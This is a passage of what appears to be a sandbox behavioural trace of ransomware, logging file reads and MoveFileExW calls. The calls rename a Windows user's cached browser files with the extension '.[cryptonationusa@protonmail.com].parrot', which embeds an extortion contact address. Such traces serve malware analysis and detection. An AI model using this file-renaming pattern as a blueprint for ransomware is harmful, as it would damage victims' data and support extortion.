Flags=0x0, Size=0x4) returned 0x5d4960 [0082.620] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.621] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.624] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.624] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.625] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.625] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x19e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x19e, lpOverlapped=0x0) returned 1 [0082.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.625] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.626] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.629] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.629] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.632] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.632] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2c1, lpOverlapped=0x0) returned 1 [0082.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.633] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.633] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.636] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.636] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.638] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.638] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7b8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7b8, lpOverlapped=0x0) returned 1 [0082.638] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.638] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.638] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.638] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.638] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.641] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.641] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.644] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.644] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x157, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x157, lpOverlapped=0x0) returned 1 [0082.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.644] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.645] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.647] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.648] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.649] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.649] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x36b1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x36b1, lpOverlapped=0x0) returned 1 [0082.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.651] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.652] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.656] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.657] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.658] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.658] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x39f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x39f, lpOverlapped=0x0) returned 1 [0082.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.659] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.659] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.662] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.662] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.664] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.664] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x91dd, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x91dd, lpOverlapped=0x0) returned 1 [0082.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.667] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.668] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adex[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adex[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.670] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.670] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.672] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.672] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2874, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2874, lpOverlapped=0x0) returned 1 [0082.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.673] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.674] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.675] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adfscript[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adfscript[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adfscript[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.678] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.678] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.681] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.682] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x525b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x525b, lpOverlapped=0x0) returned 1 [0082.683] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.684] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.685] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adswrappermsni[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adswrappermsni[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.689] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.689] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.690] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.690] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8217, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x8217, lpOverlapped=0x0) returned 1 [0082.693] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.694] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.699] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.699] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.701] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.701] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1183b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1183b, lpOverlapped=0x0) returned 1 [0082.706] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.709] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ast[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ast[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.712] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.712] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.714] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.714] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x13a9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x13a9, lpOverlapped=0x0) returned 1 [0082.715] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.715] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\autotrack[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\autotrack[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.720] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.720] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.759] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.759] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x145, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x145, lpOverlapped=0x0) returned 1 [0082.760] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.760] MoveFileExW 